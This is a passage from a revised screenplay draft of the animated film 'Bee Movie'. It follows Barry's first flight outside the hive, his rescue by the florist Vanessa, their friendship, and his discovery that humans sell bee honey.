You’re cra-- Barry HANGS UP. ANGLE ON: Lou Loduca. LOU LODUCA If anyone’s feeling brave, there’s a Korean Deli on 83rd that gets their roses today. BARRY (timidly) Hey guys. BUZZ Well, look at that. SPLITZ Isn’t that the kid we saw yesterday? LOU LODUCA (to Barry) Hold it son, flight deck’s restricted. JACKSON It’s okay Lou, we’re going to take him up. Splitz and Jackson CHUCKLE. LOU LODUCA Really? Feeling lucky, are ya? A YOUNGER SMALLER BEE THAN BARRY, CHET, runs up with a release waiver for Barry to sign. CHET Sign here. Here. Just initial that. Thank you. LOU LODUCA Okay, you got a rain advisory today and as you all know, bees cannot fly in rain. So be careful. As always, (reading off clipboard) watch your brooms, hockey sticks, dogs, birds, bears, and bats. "Bee Movie" - JS REVISIONS 8/13/07 21. Also, I got a couple reports of root beer being poured on us. Murphy’s in a home because of it, just babbling like a cicada. BARRY That’s awful. LOU LODUCA And a reminder for all you rookies, bee law number one, absolutely no talking to humans. Alright, launch positions! The Jocks get into formation, chanting as they move. LOU LODUCA (CONT’D) Black and Yellow! JOCKS Hello! SPLITZ (to Barry) Are you ready for this, hot shot? BARRY Yeah. Yeah, bring it on. Barry NODS, terrified. BUZZ Wind! - CHECK! JOCK #1 Antennae! - CHECK! JOCK #2 Nectar pack! - CHECK! JACKSON Wings! - CHECK! SPLITZ Stinger! - CHECK! BARRY Scared out of my shorts - CHECK. LOU LODUCA Okay ladies, let’s move it out. Everyone FLIPS their goggles down. Pit crew bees CRANK their wings, and remove the starting blocks. We hear loud HUMMING. "Bee Movie" - JS REVISIONS 8/13/07 22. LOU LODUCA (CONT'D) LOU LODUCA (CONT’D) Pound those petunia's, you striped stem-suckers! All of you, drain those flowers! A FLIGHT DECK GUY in deep crouch hand-signals them out the archway as the backwash from the bee wings FLUTTERS his jump suit. Barry follows everyone. SEQ. 800 - “FLYING WITH THE JOCKS” The bees climb above tree tops in formation. Barry is euphoric. BARRY Whoa! I’m out! I can’t believe I’m out! So blue. Ha ha ha! (a beat) I feel so fast...and free. (re: kites in the sky) Box kite! Wow! They fly by several bicyclists, and approach a patch of flowers. BARRY (CONT'D) Flowers! SPLITZ This is blue leader. We have roses visual. Bring it around thirty degrees and hold. BARRY (sotto) Roses. JACKSON Thirty degrees, roger, bringing it around. Many pollen jocks break off from the main group. They use their equipment to collect nectar from flowers. Barry flies down to watch the jocks collect the nectar. JOCK Stand to the side kid, it’s got a bit of a kick. The jock fires the gun, and recoils. Barry watches the gun fill up with nectar. "Bee Movie" - JS REVISIONS 8/13/07 23. BARRY Oh, that is one Nectar Collector. JOCK You ever see pollination up close? BARRY No, Sir. He takes off, and the excess pollen dust falls causing the flowers to come back to life. JOCK (as he pollinates) I pick some pollen up over here, sprinkle it over here, maybe a dash over there, pinch on that one...see that? It’s a little bit of magic, ain’t it? The FLOWERS PERK UP as he pollinates. BARRY Wow. That’s amazing. Why do we do that? JOCK ...that’s pollen power, Kid. More pollen, more flowers, more nectar, more honey for us. BARRY Cool. The Jock WINKS at Barry. Barry rejoins the other jocks in the sky. They swoop in over a pond, kissing the surface. We see their image reflected in the water; they’re really moving. They fly over a fountain. BUZZ I’m picking up a lot of bright yellow, could be daisies. Don’t we need those? SPLITZ Copy that visual. We see what appear to be yellow flowers on a green field. "Bee Movie" - JS REVISIONS 8/13/07 24. They go into a deep bank and dive. BUZZ Hold on, one of these flowers seems to be on the move. SPLITZ Say again...Are you reporting a moving flower? BUZZ Affirmative. SEQ. 900 - “TENNIS GAME” The pollen jocks land. It is a tennis court with dozens of tennis balls. A COUPLE, VANESSA and KEN, plays tennis. The bees land right in the midst of a group of balls. KEN (O.C) That was on the line! The other bees start walking around amongst the immense, yellow globes. SPLITZ This is the coolest. What is it? They stop at a BALL on a white line and look up at it. JACKSON I don’t know, but I’m loving this color. SPLITZ (smelling tennis ball) Smells good. Not like a flower. But I like it. JACKSON Yeah, fuzzy. BUZZ Chemical-y. JACKSON Careful, guys, it’s a little grabby. Barry LANDS on a ball and COLLAPSES. "Bee Movie" - JS REVISIONS 8/13/07 25. BARRY Oh my sweet lord of bees. JACKSON Hey, candy brain, get off there! Barry attempts to pulls his legs off, but they stick. BARRY Problem! A tennis shoe and a hand ENTER FRAME. The hand picks up the ball with Barry underneath it. BARRY (CONT'D) Guys! BUZZ This could be bad. JACKSON Affirmative. Vanessa walks back to the service line, BOUNCES the ball. Each time it BOUNCES, the other bees cringe and GASP. ANGLE ON: Barry, terrified. Pure dumb luck, he’s not getting squished. BARRY (with each bounce) Very close...Gonna Hurt...Mamma’s little boy. SPLITZ You are way out of position, rookie. ANGLE ON: Vanessa serving. We see Barry and the ball up against the racket as she brings it back. She tosses the ball into the air; Barry’s eyes widen. The ball is STRUCK, and the rally is on. KEN Coming in at you like a missile! Ken HITS the ball back. Barry feels the g-forces. ANGLE ON: The Pollen Jocks watching Barry pass by them in SLOW MOTION. "Bee Movie" - JS REVISIONS 8/13/07 26. BARRY (in slow motion) Help me! JACKSON You know, I don't think these are flowers. SPLITZ Should we tell him? JACKSON I think he knows. BARRY (O.S) What is this?! Vanessa HITS a high arcing lob. Ken waits, poised for the return. We see Barry having trouble maneuvering the ball from fatigue. KEN (overly confident) Match point! ANGLE ON: Ken running up. He has a killer look in his eyes. He’s going to hit the ultimate overhead smash. KEN (CONT'D) You can just start packing up Honey, because I believe you’re about to eat it! ANGLE ON: Pollen Jocks. JACKSON Ahem! Ken is distracted by the jock. KEN What? No! He misses badly. The ball rockets into oblivion. Barry is still hanging on. ANGLE ON: Ken, berating himself. KEN (CONT’D) Oh, you cannot be serious. We hear the ball WHISTLING, and Barry SCREAMING. "Bee Movie" - JS REVISIONS 8/13/07 27. BARRY Yowser!!! SEQ. 1000 - “SUV” The ball flies through the air, and lands in the middle of the street. It bounces into the street again, and sticks in the grille of an SUV. INT. CAR ENGINE - CONTINUOUS BARRY’S POV: the grille of the SUV sucks him up. He tumbles through a black tunnel, whirling vanes, and pistons. BARRY AHHHHHHHHHHH!! OHHHH!! EECHHH!! AHHHHHH!! Barry gets chilled by the A/C system, and sees a frozen grasshopper. BARRY (CONT’D) (re: grasshopper) Eww, gross. CUT TO: INT. CAR - CONTINUOUS The car is packed with a typical suburban family: MOTHER, FATHER, eight-year old BOY, LITTLE GIRL in a car seat and a GRANDMOTHER. A big slobbery DOG is behind a grate. Barry pops into the passenger compartment, hitting the Mother’s magazine. MOTHER There’s a bee in the car! They all notice the bee and start SCREAMING. BARRY Aaahhhh! Barry tumbles around the car. We see the faces from his POV. MOTHER Do something! "Bee Movie" - JS REVISIONS 8/13/07 28. FATHER I’m driving! Barry flies by the little girl in her CAR SEAT. She waves hello. LITTLE GIRL Hi, bee. SON He’s back here! He’s going to sting me! The car SWERVES around the road. Barry flies into the back, where the slobbery dog SNAPS at him. Barry deftly avoids the jaws and gross, flying SPITTLE. MOTHER Nobody move. If you don’t move, he won’t sting you. Freeze! Everyone in the car freezes. Barry freezes. They stare at each other, eyes going back and forth, waiting to see who will make the first move. Barry blinks. GRANNY He blinked! Granny pulls out a can of HAIR SPRAY. SON Spray him, Granny! Granny sprays the hair spray everywhere. FATHER What are you doing? GRANNY It’s hair spray! Extra hold! MOTHER Kill it! Barry gets sprayed back by the hair spray, then sucked out of the sunroof. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 29. EXT. CITY STREET - CONTINUOUS BARRY Wow. The tension level out here is unbelievable. I’ve got to get home. As Barry flies down the street, it starts to RAIN. He nimbly avoids the rain at first. BARRY (CONT’D) Whoa. Whoa! Can’t fly in rain! Can’t fly in rain! Can’t fly in-- A couple of drops hit him, his wings go limp and he starts falling. BARRY (CONT'D) Mayday! Mayday! Bee going down! Barry sees a window ledge and aims for it and just makes it. Shivering and exhausted, he crawls into an open window as it CLOSES. SEQ. 1100 - “VANESSA SAVES BARRY” INT. VANESSA’S APARTMENT - CONTINUOUS Inside the window, Barry SHAKES off the rain like a dog. Vanessa, Ken, Andy, and Anna ENTER the apartment. VANESSA Ken, can you close the window please? KEN Huh? Oh. (to Andy) Hey, check out my new resume. I made it into a fold-out brochure. You see? It folds out. Ken holds up his brochure, with photos of himself, and a resume in the middle. ANGLE ON: Barry hiding behind the curtains, as Ken CLOSES THE WINDOW. "Bee Movie" - JS REVISIONS 8/13/07 30. BARRY Oh no, more humans. I don’t need this. Barry HOVERS up into the air and THROWS himself into the glass. BARRY (CONT’D) (dazed) Ow! What was that? He does it again, and then multiple more times. BARRY (CONT'D) Maybe this time...this time, this time, this time, this time, this time, this time, this time. Barry JUMPS onto the drapes. BARRY (CONT'D) (out of breath) Drapes! (then, re: glass) That is diabolical. KEN It’s fantastic. It’s got all my special skills, even my top ten favorite movies. ANDY What’s your number one? Star Wars? KEN Ah, I don’t go for that, (makes Star Wars noises), kind of stuff. ANGLE ON: Barry. BARRY No wonder we’re not supposed to talk to them. They’re out of their minds. KEN When I walk out of a job interview they’re flabbergasted. They can’t believe the things I say. Barry looks around and sees the LIGHT BULB FIXTURE in the middle of the ceiling. "Bee Movie" - JS REVISIONS 8/13/07 31. BARRY (re: light bulb) Oh, there’s the sun. Maybe that’s a way out. Barry takes off and heads straight for the light bulb. His POV: The seventy-five watt label grows as he gets closer. BARRY (CONT’D) I don’t remember the sun having a big seventy five on it. Barry HITS the bulb and is KNOCKED SILLY. He falls into a BOWL OF GUACAMOLE. Andy dips his chip in the guacamole, taking Barry with it. ANGLE ON: Ken and Andy. KEN I’ll tell you what. You know what? I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Barry’s POV: Giant human mouth opening. KEN (CONT’D) Wait! Stop! Beeeeeee! ANNA Kill it! Kill it! They all JUMP up from their chairs. Andy looks around for something to use. Ken comes in for the kill with a big TIMBERLAND BOOT on each hand. KEN Stand back. These are winter boots. Vanessa ENTERS, and stops Ken from squashing Barry. VANESSA (grabs Ken’s arm) Wait. Don’t kill him. CLOSE UP: on Barry’s puzzled face. KEN You know I’m allergic to them. This thing could kill me. "Bee Movie" - JS REVISIONS 8/13/07 32. VANESSA Why does his life have any less value than yours? She takes a GLASS TUMBLER and places it over Barry. KEN Why does his life have any less value than mine? Is that your statement? VANESSA I’m just saying, all life has value. You don’t know what he’s capable of feeling. Barry looks up through the glass and watches this conversation, astounded. Vanessa RIPS Ken’s resume in half and SLIDES it under the glass. KEN (wistful) My brochure. There’s a moment of eye contact as she carries Barry to the window. She opens it and sets him free. VANESSA There you go, little guy. KEN (O.C) I’m not scared of them. But, you know, it’s an allergic thing. ANDY (O.C) * Hey, why don’t you put that on your * resume-brochure? * KEN (O.C) It’s not funny, my whole face could puff up. ANDY (O.C) Make it one of your “Special Skills.” KEN (O.C) You know, knocking someone out is also a special skill. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 33. EXT. WINDOWSILL - CONTINUOUS Barry stares over the window frame. He can’t believe what’s just happened. It is still RAINING. DISSOLVE TO: SEQ. 1200 - “BARRY SPEAKS” EXT. WINDOWSILL - LATER Barry is still staring through the window. Inside, everyone’s saying their good-byes. KEN Vanessa, next week? Yogurt night? VANESSA Uh, yeah sure Ken. You know, whatever. KEN You can put carob chips on there. VANESSA Good night. KEN (as he exits) Supposed to be less calories, or something. VANESSA Bye. She shuts the door. Vanessa starts cleaning up. BARRY I’ve got to say something. She saved my life. I’ve got to say something. Alright, here it goes. Barry flies in. "Bee Movie" - JS REVISIONS 8/13/07 34. INT. VANESSA’S APARTMENT - CONTINUOUS Barry hides himself on different PRODUCTS placed along the kitchen shelves. He hides on a Bumblebee Tuna can, and a “Greetings From Coney Island” MUSCLE-MAN POSTCARD on the fridge. BARRY (on fridge) What would I say? (landing on a bottle) I could really get in trouble. He stands looking at Vanessa. BARRY (CONT'D) It’s a bee law. You’re not supposed to talk to a human. I can’t believe I’m doing this. I’ve got to. Oh, I can’t do it! Come on! No, yes, no, do it! I can’t. How should I start it? You like jazz? No, that’s no good. Here she comes. Speak, you fool. As Vanessa walks by, Barry takes a DEEP BREATH. BARRY (CONT’D) (cheerful) Umm...hi. Vanessa DROPS A STACK OF DISHES, and HOPS BACK. BARRY (CONT’D) I’m sorry. VANESSA You’re talking. BARRY Yes, I know, I know. VANESSA You’re talking. BARRY I know, I’m sorry. I’m so sorry. VANESSA It’s okay. It’s fine. It’s just, I know I’m dreaming, but I don’t recall going to bed. "Bee Movie" - JS REVISIONS 8/13/07 35. BARRY Well, you know I’m sure this is very disconcerting. VANESSA Well yeah. I mean this is a bit of a surprise to me. I mean...you’re a bee. BARRY Yeah, I am a bee, and you know I’m not supposed to be doing this, but they were all trying to kill me and if it wasn’t for you...I mean, I had to thank you. It’s just the way I was raised. Vanessa intentionally JABS her hand with a FORK. VANESSA Ow! BARRY That was a little weird. VANESSA (to herself) I’m talking to a bee. BARRY Yeah. VANESSA I’m talking to a bee. BARRY Anyway... VANESSA And a bee is talking to me... BARRY I just want you to know that I’m grateful, and I’m going to leave now. VANESSA Wait, wait, wait, wait, how did you learn to do that? BARRY What? "Bee Movie" - JS REVISIONS 8/13/07 36. VANESSA The talking thing. BARRY Same way you did, I guess. Mama, Dada, honey, you pick it up. VANESSA That’s very funny. BARRY Yeah. Bees are funny. If we didn’t laugh, we’d cry. With what we have to deal with. Vanessa LAUGHS. BARRY (CONT’D) Anyway. VANESSA Can I, uh, get you something? BARRY Like what? VANESSA I don’t know. I mean, I don’t know. Coffee? BARRY Well, uh, I don’t want to put you out. VANESSA It’s no trouble. BARRY Unless you’re making anyway. VANESSA Oh, it takes two minutes. BARRY Really? VANESSA It’s just coffee. BARRY I hate to impose. "Bee Movie" - JS REVISIONS 8/13/07 37. VANESSA Don’t be ridiculous. BARRY Actually, I would love a cup. VANESSA Hey, you want a little rum cake? BARRY I really shouldn’t. VANESSA Have a little rum cake. BARRY No, no, no, I can’t. VANESSA Oh, come on. BARRY You know, I’m trying to lose a couple micrograms here. VANESSA Where? BARRY Well... These stripes don’t help. VANESSA You look great. BARRY I don’t know if you know anything about fashion. Vanessa starts POURING the coffee through an imaginary cup and directly onto the floor. BARRY (CONT'D) Are you alright? VANESSA No. DISSOLVE TO: SEQ. 1300 - “ROOFTOP COFFEE” "Bee Movie" - JS REVISIONS 8/13/07 38. EXT. VANESSA’S ROOF - LATER Barry and Vanessa are drinking coffee on her roof terrace. He is perched on her keychain. BARRY ...He can’t get a taxi. He’s making the tie in the cab, as they’re flying up Madison. So he finally gets there. VANESSA Uh huh? BARRY He runs up the steps into the church, the wedding is on... VANESSA Yeah? BARRY ...and he says, watermelon? I thought you said Guatemalan. VANESSA Uh huh? BARRY Why would I marry a watermelon? Barry laughs. Vanessa doesn’t. VANESSA Oh! Is that, uh, a bee joke? BARRY Yeah, that’s the kind of stuff that we do. VANESSA Yeah, different. A BEAT. VANESSA (CONT’D) So anyway...what are you going to do, Barry? "Bee Movie" - JS REVISIONS 8/13/07 39. BARRY About work? I don’t know. I want to do my part for the hive, but I can’t do it the way they want. VANESSA I know how you feel. BARRY You do? VANESSA Sure, my parents wanted me to be a lawyer or doctor, but I wanted to be a florist. BARRY Really? VANESSA My only interest is flowers. BARRY Our new queen was just elected with that same campaign slogan. VANESSA Oh. BARRY Anyway, see there’s my hive, right there. You can see it. VANESSA Oh, you’re in Sheep Meadow. BARRY (excited) Yes! You know the turtle pond? VANESSA Yes? BARRY I’m right off of that. VANESSA Oh, no way. I know that area. Do you know I lost a toe-ring there once? BARRY Really? "Bee Movie" - JS REVISIONS 8/13/07 40. VANESSA Yes. BARRY Why do girls put rings on their toes? VANESSA Why not? BARRY I don’t know. It’s like putting a hat on your knee. VANESSA Really? Okay. A JANITOR in the background changes a LIGHTBULB. To him, it appears that Vanessa is talking to an imaginary friend. JANITOR You all right, ma’am? VANESSA Oh, yeah, fine. Just having two cups of coffee. BARRY Anyway, this has been great. (wiping his mouth) Thanks for the coffee. Barry gazes at Vanessa. VANESSA Oh yeah, it’s no trouble. BARRY Sorry I couldn’t finish it. Vanessa giggles. BARRY (CONT'D) (re: coffee) If I did, I’d be up the rest of my life. Ummm. Can I take a piece of this with me? VANESSA Sure. Here, have a crumb. She takes a CRUMB from the plate and hands it to Barry. "Bee Movie" - JS REVISIONS 8/13/07 41. BARRY (a little dreamy) Oh, thanks. VANESSA Yeah. There is an awkward pause. BARRY Alright, well then, I guess I’ll see you around, or not, or... VANESSA Okay Barry. BARRY And thank you so much again, for before. VANESSA Oh that? BARRY Yeah. VANESSA Oh, that was nothing. BARRY Well, not nothing, but, anyway... Vanessa extends her hand, and shakes Barry’s gingerly. The Janitor watches. The lightbulb shorts out. The Janitor FALLS. CUT TO: SEQ. 1400 - “HONEX” INT. HONEX BUILDING - NEXT DAY ANGLE ON: A TEST BEE WEARING A PARACHUTE is in a wind tunnel, hovering through increasingly heavy wind. SIGNS UNDER A FLASHING LIGHT READ: “Test In Progress” & “Hurricane Survival Test”. 2 BEES IN A LAB COATS are observing behind glass. "Bee Movie" - JS REVISIONS 8/13/07 42. LAB COAT BEE 1 This can’t possibly work. LAB COAT BEE 2 Well, he’s all set to go, we may as well try it. (into the mic) Okay Dave, pull the chute. The test bee opens his parachute. He’s instantly blown against the rear wall. Adam and Barry ENTER. ADAM Sounds amazing. BARRY Oh, it was amazing. It was the scariest, happiest moment of my life. ADAM Humans! Humans! I can’t believe you were with humans! Giant scary humans! What were they like? BARRY Huge and crazy. They talk crazy, they eat crazy giant things. They drive around real crazy. ADAM And do they try and kill you like on TV? BARRY Some of them. But some of them don’t. ADAM How’d you get back? BARRY Poodle. ADAM Look, you did it. And I’m glad. You saw whatever you wanted to see out there, you had your “experience”, and now you’re back, you can pick out your job, and everything can be normal. "Bee Movie" - JS REVISIONS 8/13/07 43. ANGLE ON: LAB BEES examining a CANDY CORN through a microscope. BARRY Well... ADAM Well? BARRY Well, I met someone. ADAM You met someone? Was she Bee-ish? BARRY Mmm. ADAM Not a WASP? Your parents will kill you. BARRY No, no, no, not a wasp. ADAM Spider? BARRY You know, I’m not attracted to the spiders. I know to everyone else it’s like the hottest thing with the eight legs and all. I can’t get by that face. Barry makes a spider face. ADAM So, who is she? BARRY She’s a human. ADAM Oh no, no, no, no. That didn’t happen. You didn’t do that. That is a bee law. You wouldn’t break a bee law. BARRY Her name’s Vanessa. "Bee Movie" - JS REVISIONS 8/13/07 44. ADAM Oh, oh boy! BARRY She’s so-o nice. And she’s a florist! ADAM Oh, no. No, no, no! You’re dating a human florist? BARRY We’re not dating. ADAM You’re flying outside the hive. You’re talking to human beings that attack our homes with power washers and M-80’s. That’s 1/8 of a stick of dynamite. BARRY She saved my life. And she understands me. ADAM This is over. Barry pulls out the crumb. BARRY Eat this. Barry stuffs the crumb into Adam’s face. ADAM This is not over. What was that? BARRY They call it a crumb. ADAM That was SO STINGING STRIPEY! BARRY And that’s not even what they eat. That just falls off what they eat. Do you know what a Cinnabon is? ADAM No. "Bee Movie" - JS REVISIONS 8/13/07 45. BARRY It’s bread... ADAM Come in here! BARRY and cinnamon, ADAM Be quiet! BARRY and frosting...they heat it up-- ADAM Sit down! INT. ADAM’S OFFICE - CONTINUOUS BARRY Really hot! ADAM Listen to me! We are not them. We’re us. There’s us and there’s them. BARRY Yes, but who can deny the heart that is yearning... Barry rolls his chair down the corridor. ADAM There’s no yearning. Stop yearning. Listen to me. You have got to start thinking bee, my friend. ANOTHER BEE JOINS IN. ANOTHER BEE Thinking bee. WIDER SHOT AS A 3RD BEE ENTERS, popping up over the cubicle wall. 3RD BEE Thinking bee. EVEN WIDER SHOT AS ALL THE BEES JOIN IN. "Bee Movie" - JS REVISIONS 8/13/07 46. OTHER BEES Thinking bee. Thinking bee. Thinking bee. CUT TO: SEQ. 1500 - “POOLSIDE NAGGING” EXT. BACKYARD PARENT’S HOUSE - DAY Barry sits on a RAFT in a hexagon honey pool, legs dangling into the water. Janet Benson and Martin Benson stand over him wearing big, sixties sunglasses and cabana-type outfits. The sun shines brightly behind their heads. JANET BENSON (O.C) There he is. He’s in the pool. MARTIN BENSON You know what your problem is, Barry? BARRY I’ve got to start thinking bee? MARTIN BENSON Barry, how much longer is this going to go on? It’s been three days. I don’t understand why you’re not working. BARRY Well, I’ve got a lot of big life decisions I’m thinking about. MARTIN BENSON What life? You have no life! You have no job! You’re barely a bee! Barry throws his hands in the air. BARRY Augh. JANET BENSON Would it kill you to just make a little honey? Barry ROLLS off the raft and SINKS to the bottom of the pool. We hear his parents’ MUFFLED VOICES from above the surface. "Bee Movie" - JS REVISIONS 8/13/07 47. JANET BENSON (CONT'D) (muffled) Barry, come out from under there. Your father’s talking to you. Martin, would you talk to him? MARTIN BENSON Barry, I’m talking to you. DISSOLVE TO: EXT. PICNIC AREA - DAY MUSIC: “Sugar Sugar” by the Archies. Barry and Vanessa are having a picnic. A MOSQUITO lands on Vanessa’s leg. She SWATS it violently. Barry’s head whips around, aghast. They stare at each other awkwardly in a frozen moment, then BURST INTO HYSTERICAL LAUGHTER. Vanessa GETS UP. VANESSA You coming? BARRY Got everything? VANESSA All set. Vanessa gets into a one-man Ultra Light plane with a black and yellow paint scheme. She puts on her helmet. BARRY You go ahead, I’ll catch up. VANESSA (come hither wink) Don’t be too long. The Ultra Light takes off. Barry catches up. They fly sideby-side. VANESSA (CONT’D) Watch this! Vanessa does a loop, and FLIES right into the side of a mountain, BURSTING into a huge ball of flames. "Bee Movie" - JS REVISIONS 8/13/07 48. BARRY (yelling, anguished) Vanessa! EXT. BARRY’S PARENT’S HOUSE - CONTINUOUS ANGLE ON: Barry’s face bursting through the surface of the pool, GASPING for air, eyes opening in horror. MARTIN BENSON We’re still here, Barry. JANET BENSON I told you not to yell at him. He doesn’t respond when you yell at him. MARTIN BENSON Then why are you yelling at me? JANET BENSON Because you don’t listen. MARTIN BENSON I’m not listening to this. Barry is toweling off, putting on his sweater. BARRY Sorry Mom, I’ve got to go. JANET BENSON Where are you going? BARRY Nowhere. I’m meeting a friend. Barry JUMPS off the balcony and EXITS. JANET BENSON (calling after him) A girl? Is this why you can’t decide? BARRY Bye! JANET BENSON I just hope she’s Bee-ish. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 49. SEQ. 1700 - “STREETWALK/SUPERMARKET” EXT. VANESSA’S FLORIST SHOP - DAY Vanessa FLIPS the sign to say “Sorry We Missed You”, and locks the door. ANGLE ON: A POSTER on Vanessa’s door for the Tournament of Roses Parade in Pasadena. BARRY So they have a huge parade of just flowers every year in Pasadena? VANESSA Oh, to be in the Tournament of Roses, that’s every florist’s dream. Up on a float, surrounded by flowers, crowds cheering. BARRY Wow, a tournament. Do the roses actually compete in athletic events? VANESSA No. Alright, I’ve got one. How come you don’t fly everywhere? BARRY It’s exhausting. Why don’t you run everywhere? VANESSA Hmmm. BARRY Isn’t that faster? VANESSA Yeah, okay. I see, I see. Alright, your turn. Barry and Vanessa walk/fly down a New York side street, no other pedestrians near them. BARRY Ah! Tivo. You can just freeze live TV? That’s insane. "Bee Movie" - JS REVISIONS 8/13/07 50. VANESSA What, you don’t have anything like that? BARRY We have Hivo, but it’s a disease. It’s a horrible, horrible disease. VANESSA Oh my. They turn the corner onto a busier avenue and people start to swat at Barry. MAN Dumb bees! VANESSA You must just want to sting all those jerks. BARRY We really try not to sting. It’s usually fatal for us. VANESSA So you really have to watch your temper? They ENTER a SUPERMARKET. CUT TO: INT. SUPERMARKET BARRY Oh yeah, very carefully. You kick a wall, take a walk, write an angry letter and throw it out. You work through it like any emotion-- anger, jealousy, (under his breath) lust. Barry hops on top of some cardboard boxes in the middle of an aisle. A stock boy, HECTOR, whacks him with a rolled up magazine. VANESSA (to Barry) Oh my goodness. Are you okay? "Bee Movie" - JS REVISIONS 8/13/07 51. BARRY Yeah. Whew! Vanessa WHACKS Hector over the head with the magazine. VANESSA (to Hector) What is wrong with you?! HECTOR It’s a bug. VANESSA Well he’s not bothering anybody. Get out of here, you creep. Vanessa pushes him, and Hector EXITS, muttering. BARRY (shaking it off) What was that, a Pick and Save circular? VANESSA Yeah, it was. How did you know? BARRY It felt like about ten pages. Seventy-five’s pretty much our limit. VANESSA Boy, you’ve really got that down to a science. BARRY Oh, we have to. I lost a cousin to Italian Vogue. VANESSA I’ll bet. Barry stops, sees the wall of honey jars. BARRY What, in the name of Mighty Hercules, is this? How did this get here? Cute Bee? Golden Blossom? Ray Liotta Private Select? VANESSA Is he that actor? "Bee Movie" - JS REVISIONS 8/13/07 52. BARRY I never heard of him. Why is this here? VANESSA For people. We eat it. BARRY Why? (gesturing around the market) You don’t have enough food of your own? VANESSA Well yes, we-- BARRY How do you even get it? VANESSA Well, bees make it... BARRY I know who makes it! And it’s hard to make it! There’s Heating and Cooling, and Stirring...you need a whole Krelman thing. VANESSA It’s organic. BARRY It’s our-ganic! VANESSA It’s just honey, Barry. BARRY Just...what?! Bees don’t know about this. This is stealing. A lot of stealing! You’ve taken our homes, our schools, our hospitals. This is all we have. And it’s on sale? I’m going to get to the bottom of this. I’m going to get to the bottom of all of this! He RIPS the label off the Ray Liotta Private Select. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 53. SEQ. 1800 - “WINDSHIELD” EXT. BACK OF SUPERMARKET LOADING DOCK - LATER THAT DAY Barry disguises himself by blacking out his yellow lines with a MAGIC MARKER and putting on some war paint. He sees Hector, the stock boy, with a knife CUTTING open cardboard boxes filled with honey jars. MAN You almost done? HECTOR Almost. Barry steps in some honey, making a SNAPPING noise. Hector stops and turns. HECTOR (CONT’D) He is here. I sense it. Hector grabs his BOX CUTTER. Barry REACTS, hides himself behind the box again. HECTOR (CONT’D) (talking too loud, to no one in particular) Well, I guess I’ll go home now, and just leave this nice honey out, with no one around. A BEAT. Hector pretends to exit. He takes a couple of steps in place. ANGLE ON: The honey jar. Barry steps out into a moody spotlight. BARRY You’re busted, box boy! HECTOR Ah ha! I knew I heard something. So, you can talk. Barry flies up, stinger out, pushing Hector up against the wall. As Hector backs up, he drops his knife. BARRY Oh, I can talk. And now you’re going to start talking. "Bee Movie" - JS REVISIONS 8/13/07 54. Where are you getting all the sweet stuff? Who’s your supplier?! HECTOR I don’t know what you’re talking about. I thought we were all friends. The last thing we want to do is upset any of you...bees! Hector grabs a PUSHPIN. Barry fences with his stinger. HECTOR (CONT’D) You’re too late. It’s ours now! BARRY You, sir, have crossed the wrong sword. HECTOR You, sir, are about to be lunch for my iguana, Ignacio! Barry and Hector get into a cross-swords, nose-to-nose confrontation. BARRY Where is the honey coming from? Barry knocks the pushpin out of his hand. Barry puts his stinger up to Hector’s nose. BARRY (CONT'D) Tell me where?! HECTOR (pointing to a truck) Honey Farms. It comes from Honey Farms. ANGLE ON: A Honey Farms truck leaving the parking lot. Barry turns, takes off after the truck through an alley. He follows the truck out onto a busy street, dodging a bus, and several cabs. CABBIE Crazy person! He flies through a metal pipe on the top of a truck. BARRY OOOHHH! "Bee Movie" - JS REVISIONS 8/13/07 55. BARRY (CONT'D) Barry grabs onto a bicycle messenger’s backpack. The honey farms truck starts to pull away. Barry uses the bungee cord to slingshot himself towards the truck. He lands on the windshield, where the wind plasters him to the glass. He looks up to find himself surrounded by what appear to be DEAD BUGS. He climbs across, working his way around the bodies. BARRY (CONT’D) Oh my. What horrible thing has happened here? Look at these faces. They never knew what hit them. And now they’re on the road to nowhere. A MOSQUITO opens his eyes. MOOSEBLOOD Pssst! Just keep still. BARRY What? You’re not dead? MOOSEBLOOD Do I look dead? Hey man, they will wipe anything that moves. Now, where are you headed? BARRY To Honey Farms. I am onto something huge here. MOOSEBLOOD I’m going to Alaska. Moose blood. Crazy stuff. Blows your head off. LADYBUG I’m going to Tacoma. BARRY (to fly) What about you? MOOSEBLOOD He really is dead. BARRY Alright. The WIPER comes towards them. "Bee Movie" - JS REVISIONS 8/13/07 56. MOOSEBLOOD Uh oh. BARRY What is that? MOOSEBLOOD Oh no! It’s a wiper, triple blade! BARRY Triple blade? MOOSEBLOOD Jump on. It’s your only chance, bee. They hang on as the wiper goes back and forth. MOOSEBLOOD (CONT'D) (yelling to the truck driver through the glass) Why does everything have to be so dog-gone clean?! How much do you people need to see? Open your eyes! Stick your head out the window! CUT TO: INT. TRUCK CAB SFX: Radio. RADIO VOICE For NPR News in Washington, I’m Carl Kasell. EXT. TRUCK WINDSHIELD MOOSEBLOOD But don’t kill no more bugs! The Mosquito is FLUNG off of the wiper. MOOSEBLOOD (CONT'D) Beeeeeeeeeeeeee! BARRY Moose blood guy! "Bee Movie" - JS REVISIONS 8/13/07 57. Barry slides toward the end of the wiper, is thrown off, but he grabs the AERIAL and hangs on for dear life. Barry looks across and sees a CRICKET on another vehicle in the exact same predicament. They look at each other and SCREAM in unison. BARRY AND CRICKET Aaaaaaaaaah! ANOTHER BUG grabs onto the aerial, and screams as well. INT. TRUCK CAB - SAME TIME DRIVER You hear something? TRUCKER PASSENGER Like what? DRIVER Like tiny screaming. TRUCKER PASSENGER Turn off the radio. The driver reaches down and PRESSES a button, lowering the aerial. EXT. TRUCK WINDSHIELD - SAME TIME Barry and the other bug do a “choose up” to the bottom, Barry wins. BARRY Aha! Then he finally has to let go and gets thrown into the truck horn atop cab. Mooseblood is inside. MOOSEBLOOD Hey, what’s up bee boy? BARRY Hey, Blood! DISSOLVE TO: "Bee Movie" - JS REVISIONS 8/13/07 58. INT. TRUCK HORN - LATER BARRY ...and it was just an endless row of honey jars as far as the eye could see. MOOSEBLOOD Wow. BARRY So I’m just assuming wherever this honey truck goes, that’s where they’re getting it. I mean, that honey’s ours! MOOSEBLOOD Bees hang tight. BARRY Well, we’re all jammed in there. It’s a close community. MOOSEBLOOD Not us, man. We’re on our own. Every mosquito is on his own. BARRY But what if you get in trouble? MOOSEBLOOD Trouble? You're a mosquito. You're in trouble! Nobody likes us. They’re just all smacking. People see a mosquito, smack, smack! BARRY At least you’re out in the world. You must 